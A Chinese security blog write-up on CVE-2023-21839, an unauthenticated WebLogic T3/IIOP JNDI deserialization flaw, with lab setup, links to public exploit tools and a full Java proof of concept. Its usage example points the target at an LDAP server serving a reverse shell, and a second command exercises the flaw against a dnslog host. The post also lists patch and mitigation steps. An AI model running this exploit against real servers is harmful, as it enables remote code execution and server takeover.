CVE-2023-21839:Weblogic反序列化漏洞

2023-04-20 7,261


关注我们❤️,添加星标🌟,一起学安全!
作者:KimJun@Timeline Sec
本文字数:1217
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介


WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

0x02 漏洞概述


漏洞编号:CVE-2023-21839
由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

0x03 影响版本


Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0


0x04 环境搭建


可以使用使用P牛的vulhub进行漏洞环境搭建:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

clone项目:
git clone https://github.com/vulhub/vulhub.git

在/weblogic/CVE-2023-21839/目录,用下面的命令下载并启动12.2.1.3版本的weblogic:
docker-compose up -d

然后访问http://your-ip:7001/console,就可以看到登录页面
0x05 漏洞复现


可以使用DXask88MA师傅的工具:
https://github.com/DXask88MA/Weblogic-CVE-2023-21839
选择的sink点在
weblogic.deployment.jms.ForeignOpaqueReference.class

也可以选择使用
4ra1n师傅用go模拟数据包的的工具:
https://github.com/4ra1n/CVE-2023-21839
选择的sink点在
weblogic.jndi.internal.ForeignOpaqueReference.class

POC:


import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Random;
public class CVE_2023_21839 {    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";    static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\n e.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
   private static InitialContext getInitialContext(String url)throws NamingException    {        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }    public static void main(String args[]) throws Exception {        if(args.length <2){            System.out.println(HOW_TO_USE);            System.exit(0);        }        String t3Url = args[0];        String ldapUrl = args[1];        InitialContext c=getInitialContext("t3://"+t3Url);        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f,env);        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        remoteJNDIName.set(f,ldapUrl);        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";        try{            c.bind(bindName,f);            c.lookup(bindName);        }catch(Exception e){ }
   }}


直接使用dnslog进行测试

下载Jar文件:
https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839

执行命令:
java -jar Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://81c95c8f.dns.1433.eu.org/test

查看dnslog,收到请求,漏洞验证成功


0x06 修复方式



1.下载最新补丁,链接:https://support.oracle.com/rs?type=doc&id=2917213.2
2.限制T3协议访问

参考链接:
https://www.oracle.com/security-alerts/cpujan2023.html


本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/199304.html

Tags:
评论  (0)
快来写下你的想法吧!

Timeline Sec

文章数:38 积分: 190

欢迎关注公众号Timeline Sec

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号